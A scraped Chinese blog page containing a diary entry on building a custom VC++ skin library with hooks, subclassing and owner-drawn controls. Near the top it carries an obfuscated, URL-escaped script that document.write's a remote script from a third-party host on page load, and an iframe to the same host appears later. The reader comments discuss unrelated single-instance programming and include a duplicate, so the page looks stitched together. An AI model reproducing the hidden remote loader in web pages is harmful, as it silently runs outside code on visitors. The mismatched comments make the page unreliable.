日记:制作自己的vc皮肤库(一)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
日记:制作自己的vc皮肤库(一)


份源码,小弟我刚学VC,然后在学皮肤,不知道怎么入手啊..谢谢
邮件:tanhongwen198@126.com
xwdd129:
版主比我强啊,我正在为动态皮肤发愁,不想用网上的库,可又静不下心来自己写。 唉,奔3的人都这样吗…… :(
郁郁寡欢:
如果有必要在终端上也限制,那就配合global的互斥量。

这样,在同一桌面下的第二个实例可以激活第一个实例,不同桌面至少保证了不能运行多个实例。

udp,tcp,文件等io资源,无论那个桌面都只有一份。
郁郁寡欢:
如果有必要在终端上也限制,那就配合global的互斥量。

这样,在同一桌面下的第二个实例可以激活第一个实例,不同桌面至少保证了不能运行多个实例。

udp,tcp,文件等io资源,无论那个桌面都只有一份。
nscboy:
俺用的是配置一个UDP端口(自己的程序专用,可配置的)
用这个端口来实现单实例运行.
TaskbarCreated也响应了.
但确实没有考虑过终端服务器的情况.
好在我的程序要求某一机器上单实例运行.目前还没有测试多终端服务器多用户的情况










上一篇: 在虚拟主机上用asp.net轻松实现urlrewrite
 | 
下一篇: asp.net页面head区动态设置全攻略

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 日记:制作自己的vc皮肤库(一)



    实在忍受不了vc程序的默认界面了,用第三方的皮肤库吧,免费的几乎没有,而且很多bug,真正好的都要钱,没办法,只能自己动手写了。
    基本要求:
1,可以自定义控件颜色,暂时不考虑贴图。
2,在程序启动时设置skin,结束时释放skin,此外不用改动现有程序之代码。
要求比目前的皮肤库,比如skin++,magicSkin等简单多了,毕竟是自己写,要求不能太高。
    查了一些资料(网上的资料几乎全是mfc的,看来sdk真的过时了?),先发现WM_CTLCOLOR*** 系列消息,心中窃喜,以为我要自定义颜色的计划可以轻松实现。于是建立了一个类,然后用SetWindowLong子类化目标窗体,自己处理这些消息。
    等到效果出来,发现有问题了。文本框的效果很差,中间一片白色,不听指挥,更严重的是windows虽然有WM_CTLCOLORSCROLLBAR和WM_CTLCOLORBTN这2个消息,但它们根本没用,看别人的文章,也没有人说清楚。本人水平有限,也无心研究,看来只能OWNERDRAW了。先拿按钮开刀,自绘,就需要知道button的句柄,于是用EnumChildWindows去遍历控件,再进行子类化。越做越发现不舒服,干脆用hook吧,用了hook才知道,用它进行子类化,其实也很简单。真正开始自绘,才发现不容易,按钮要判断Enable、Focus、是不是默认按钮、3D边框等(-_-|||)。。。。MFC里边还有一个Draw3DRect,sdk只能一切DIY了。当然也有好处,至少做圆角矩形按钮很容易。要考虑的问题很多,只做了一个大概。
    再回头看滚动条,滚动条一开始就发现它不是善类,在hook时顺便看了一下窗体中的各种控件,发现ListCtrl的头也有自己的类,但却没有发现滚动条相关的类。连hook都发现不了它? 再用mouse hook进去一看,晕,鼠标放在文本框的滚动条上,竟然显示类是“Edit”,放在对话框的滚动条上,竟然显示类型是“#32770”!再上网一搜,彻底寒心了。codeproject上有2份代码,一份是自己用createWindow建立滚动条,再用返回的句柄子类化。很明显这种方法不适合做皮肤。第二个倒是彻底的自绘了控件内部的滚动条,但它是用微软的Detours库(据说Detours是微软开发的一个函数库, 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为),用一个网友的话说,这简直是杀鸡用牛刀。 看来,想自绘控件内部的滚动条,只比登天简单一点点。。。革命尚未成功,自绘还须努力,看来又得好好学习了。
    第一阶段的成果:
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值